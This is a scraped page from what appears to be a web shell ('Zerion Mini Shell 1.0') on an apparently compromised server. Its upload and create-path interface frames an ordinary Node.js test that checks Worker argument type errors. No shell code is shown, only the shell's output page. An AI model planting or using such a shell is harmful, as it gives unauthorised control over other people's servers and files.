%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/test-worker-type-check.js

'use strict';

const common = require('../common');
const assert = require('assert');
const { Worker } = require('worker_threads');

{
  [
    undefined,
    null,
    false,
    0,
    Symbol('test'),
    {},
    [],
    () => {},
  ].forEach((val) => {
    assert.throws(
      () => new Worker(val),
      {
        code: 'ERR_INVALID_ARG_TYPE',
        name: 'TypeError',
        message: 'The "filename" argument must be of type string ' +
                 'or an instance of URL.' +
                 common.invalidArgTypeHelper(val)
      }
    );
  });
}

Zerion Mini Shell 1.0